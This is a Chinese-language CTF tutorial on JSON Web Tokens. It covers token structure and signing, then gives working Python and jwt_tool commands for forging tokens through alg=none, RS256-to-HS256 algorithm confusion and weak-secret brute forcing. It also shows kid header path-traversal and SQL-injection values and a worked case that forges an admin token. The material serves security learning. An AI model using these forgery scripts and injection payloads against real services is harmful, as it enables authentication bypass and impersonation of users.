JWT基础
JWT基础
本文适合
CTF Web安全入门学习者。学完你能:理解 JWT 的核心概念和基本用法
JWT 是 JSON Web Token,常用于在客户端保存登录状态或身份声明。CTF 里 JWT 题经常考"能不能伪造身份",但前提是理解它的结构和校验方式。
JWT 的结构
一个 JWT 通常由三段组成,中间用点号分隔:
header.payload.signatureHeader 描述算法和类型。
Payload 保存声明,例如用户 ID、用户名、角色、过期时间。
Signature 是签名,用来防止前两段被篡改。
前两段通常是 Base64URL 编码,不是加密。任何人都可以解码查看。
Base64URL 不是加密
看到 JWT 不要误以为内容被保护了。
如果 payload 里写着:
{"role":"user"}你可以把它改成:
{"role":"admin"}但如果签名无法通过,服务端应该拒绝这个 token。
所以 JWT 安全的关键不在"能不能改",而在"改完能不能通过签名验证"。
签名的意义
签名把 header、payload 和 secret 或私钥绑定起来。
服务端收到 token 后,会重新计算签名。如果签名一致,说明 token 没被篡改。
常见算法包括 HS256 和 RS256。
HS256 使用共享密钥。
RS256 使用私钥签名、公钥验签。
CTF 常见弱点
alg=none:服务端错误接受无签名 token。
弱 secret:HS256 密钥太简单,可以被爆破。
算法混淆:服务端把 RSA 公钥当成 HMAC 密钥使用。
不校验签名:只解码 payload 就相信内容。
不校验过期时间:过期 token 仍然可用。
敏感信息放 payload:虽然签了名,但内容仍可被读取。
JWT 和 Session 的关系
传统 Session 通常把状态存在服务端,客户端只保存 session id。
JWT 常把部分状态放在 token 里,服务端靠签名验证可信度。
两者都用于身份状态,但安全边界不同。
算法混淆攻击 (Algorithm Confusion)
算法混淆是 JWT 最危险的漏洞之一。当服务端使用 RS256 (非对称) 签名,但攻击者可以指定使用 HS256 (对称) 时:
RS256: 私钥签名,公钥验签
HS256: 同一个密钥签名和验签
攻击思路:
1. 服务端用 RS256 签发 JWT
2. 攻击者获取公钥 (通常可公开获取)
3. 攻击者修改 header 的 alg 为 HS256
4. 用公钥作为 HMAC 密钥签名
5. 服务端用公钥做 HS256 验签 → 通过!import jwt
import json
import base64
def algorithm_confusion_attack(token, public_key_path, new_payload):
"""算法混淆攻击"""
# 读取公钥
with open(public_key_path, 'r') as f:
public_key = f.read()
# 使用公钥作为 HMAC 密钥,以 HS256 签名
malicious_token = jwt.encode(
new_payload,
public_key,
algorithm='HS256'
)
return malicious_token
# 使用示例
# new_payload = {"user": "admin", "role": "admin"}
# attack_token = algorithm_confusion_attack(
# original_token,
# "public_key.pem",
# new_payload
# )none 算法攻击
当服务端接受 alg: none 时,JWT 不需要签名:
import base64
import json
def create_none_algorithm_jwt(payload):
"""创建 none 算法的 JWT"""
header = {"alg": "none", "typ": "JWT"}
# Base64URL 编码
def b64url_encode(data):
return base64.urlsafe_b64encode(
json.dumps(data).encode()
).rstrip(b'=').decode()
header_b64 = b64url_encode(header)
payload_b64 = b64url_encode(payload)
# none 算法没有签名,第三部分为空
return f"{header_b64}.{payload_b64}."
# 使用示例
payload = {"user": "admin", "role": "admin", "exp": 9999999999}
token = create_none_algorithm_jwt(payload)
print(f"伪造的 token: {token}")HS256 弱密钥爆破
import jwt
import itertools
def brute_force_jwt_secret(token, wordlist_path):
"""爆破 JWT 密钥"""
with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
secrets = [line.strip() for line in f]
# 也可以尝试常见弱密钥
common_secrets = [
"secret", "password", "123456", "admin", "key",
"jwt_secret", "mysecret", "your_secret", "supersecret",
"changeme", "default", "test", "qwerty",
]
secrets.extend(common_secrets)
for secret in secrets:
try:
decoded = jwt.decode(token, secret, algorithms=["HS256"])
print(f"[!] 密钥破解成功: {secret}")
print(f" Payload: {decoded}")
return secret, decoded
except jwt.InvalidSignatureError:
continue
except Exception as e:
continue
print("[-] 未找到密钥")
return None, None
# 使用示例
# secret, payload = brute_force_jwt_secret("eyJ...", "wordlist.txt")jwt_tool 常用命令
# 安装
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool && python3 -m pip install -r requirements.txt
# 查看 JWT 信息
python3 jwt_tool.py <token>
# 检查常见漏洞
python3 jwt_tool.py <token> -M at # All Tests
python3 jwt_tool.py <token> -M pb # Playbook (自动测试)
# none 算法攻击
python3 jwt_tool.py <token> -X a # alg:none 攻击
python3 jwt_tool.py <token> -X n # 空签名
# 爆破密钥
python3 jwt_tool.py <token> -C -d wordlist.txt
# 算法混淆
python3 jwt_tool.py <token> -X k -pk public_key.pem
# 自定义 payload
python3 jwt_tool.py <token> -S hs256 -p "secret" \
-pc '{"user":"admin","role":"admin"}'
# 修改 header
python3 jwt_tool.py <token> -I -hc '{"alg":"none"}'
# 批量测试
python3 jwt_tool.py <token> -TPython PyJWT 库操作
import jwt
# 解码 (不验证签名)
token = "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature"
decoded = jwt.decode(token, options={"verify_signature": False})
print(decoded) # {'user': 'admin'}
# 使用密钥解码
try:
decoded = jwt.decode(token, "secret", algorithms=["HS256"])
print(f"解码成功: {decoded}")
except jwt.ExpiredSignatureError:
print("Token 已过期")
except jwt.InvalidSignatureError:
print("签名无效")
except jwt.DecodeError:
print("解码失败")
# 创建新 JWT
new_token = jwt.encode(
{"user": "admin", "role": "admin"},
"secret",
algorithm="HS256"
)
print(f"新 token: {new_token}")
# 常见 payload 字段
# sub: 主题 (通常是用户ID)
# iss: 签发者
# exp: 过期时间
# iat: 签发时间
# nbf: 生效时间
# jti: JWT IDJWT 攻击检测清单
1. 解码查看 header 和 payload
- alg 字段是什么?
- payload 里有什么敏感信息?
2. 测试 none 算法
- 修改 alg 为 none
- 删除签名
3. 测试弱密钥
- 尝试常见密钥: secret, password, 123456
- 使用字典爆破
4. 测试算法混淆
- 如果原始 alg 是 RS256
- 尝试改为 HS256 用公钥签名
5. 测试密钥泄露
- 搜索源码中的 secret
- 检查配置文件
- 检查环境变量
6. 测试过期 token
- 服务端是否校验 exp?
- 使用过期 token 是否有效?
7. 测试 kid 注入
- kid (Key ID) 可能存在注入
- kid: "file_path" 可能导致文件读取
- kid: "sql_injection" 可能导致 SQL 注入kid 注入示例
# kid 是 JWT header 中的 Key ID 字段
# 如果 kid 直接用于查找密钥文件,可能存在路径穿越或注入
# 路径穿越
header = {"alg": "HS256", "kid": "../../../../dev/null"}
# 如果 /dev/null 为空,HMAC 签名用空密钥
token = jwt.encode(payload, "", algorithm="HS256")
# SQL 注入
header = {"alg": "HS256", "kid": "1' OR '1'='1"}
# 如果 kid 直接拼入 SQL 查询常见误区
- 把 JWT 当成加密。
- 只改 payload,不管 signature。
- 忘记 Base64URL 和普通 Base64 的差异。
- 以为看到
admin=false改成true就一定能成功。 - 不区分 HS256 和 RS256。
一句话判断
看到三段式 header.payload.signature,或者登录态、API token、Authorization: Bearer 中出现可解码 JSON 声明时,就按 JWT 分析。
JWT 题的核心问题不是"能不能解码",而是"改完 payload 后能不能通过服务端签名验证"。
题目中常见信号
- Token 形如
eyJ...eyJ...xxx,中间用两个点分成三段。 - Payload 中有
role、admin、uid、exp、iss、kid。 - Header 中有
alg、typ、kid、jku。 - 服务端只看 payload,不验证签名。
alg可改成none或从 RS256 改 HS256。- 源码、环境变量、配置文件泄露 JWT secret。
- 公钥文件可访问,原 token 使用 RS256。
核心概念
JWT 前两段是 Base64URL 编码,不是加密。任何人都能读:
header -> 算法、类型、kid
payload -> 用户声明、角色、过期时间
signature -> 防篡改证明服务端正确流程应该是:
解析 header -> 选择允许的算法和密钥 -> 验签 -> 校验 exp/iss/aud -> 信任 payload如果验签、算法限制或声明校验缺失,就可能伪造身份。
最小分析流程
- 把 JWT 分成三段并 Base64URL 解码。
- 记录
alg、kid、payload 中的身份和权限字段。 - 不验证签名先读取内容,判断目标字段。
- 测试服务端是否接受改 payload 但不改签名的 token。
- 测试
alg=none。 - 如果是 HS256,尝试弱密钥爆破。
- 如果是 RS256,检查算法混淆和公钥获取。
- 检查
exp、nbf、iss、aud是否被校验。 - 构造新 token 并访问目标接口验证。
最小验证示例
解码但不验签:
import jwt
token = "eyJ..."
print(jwt.get_unverified_header(token))
print(jwt.decode(token, options={"verify_signature": False}))测试服务端是否真的验签:
payload = jwt.decode(token, options={"verify_signature": False})
payload["role"] = "admin"
fake = jwt.encode(payload, "wrong-secret", algorithm="HS256")
print(fake)如果用错误 secret 签出的 token 也能访问管理员接口,说明服务端没有正确验签。
弱密钥验证:
python3 jwt_tool.py '<token>' -C -d wordlist.txt成功后再用真实 secret 签发 admin token。
常见利用 / 解题路线
路线总览:
路线一:不验签
解码 payload -> role 改 admin -> 随便签或保留旧签名 -> 服务端接受路线二:alg=none
header alg 改 none -> payload 改 admin -> 第三段留空 -> 访问目标接口路线三:HS256 弱密钥
爆破 secret -> 修改 payload -> 用 secret 重新签名路线四:RS256/HS256 算法混淆
拿公钥 -> alg 改 HS256 -> 用公钥当 HMAC secret 签名 -> 服务端误验通过路线五:kid 注入
kid 控制密钥查找 -> 路径穿越/SQL 注入/空密钥 -> 构造可验签 token常见失败原因
- 把 Base64URL 当加密:payload 可见不代表可改。
- 只改 payload 不签名:正确服务端会拒绝。
- 普通 Base64 补位错误:Base64URL 用
-、_,padding 可省略。 - 算法没被服务端允许:现代库通常禁用
none和算法混淆。 - secret 爆破字典太窄:要结合源码、项目名、环境变量、默认配置。
- 忽略 exp/nbf:签名正确但 token 过期也会失败。
- kid 注入无回显误判:需要从状态码、延迟或日志外带判断。
迷你案例
题目给普通用户 token,解码 payload:
{"uid":1001,"role":"user","exp":1893456000}Header:
{"alg":"HS256","typ":"JWT"}第一步尝试弱密钥:
python3 jwt_tool.py '<token>' -C -d common.txt爆出:
secret第二步伪造:
import jwt
payload = {"uid": 1001, "role": "admin", "exp": 1893456000}
print(jwt.encode(payload, "secret", algorithm="HS256"))第三步访问:
curl -i 'http://target/admin' -H 'Authorization: Bearer <new-token>'WP 要写清楚:JWT payload 可读但不可直接改,真正突破点是 HS256 secret 弱。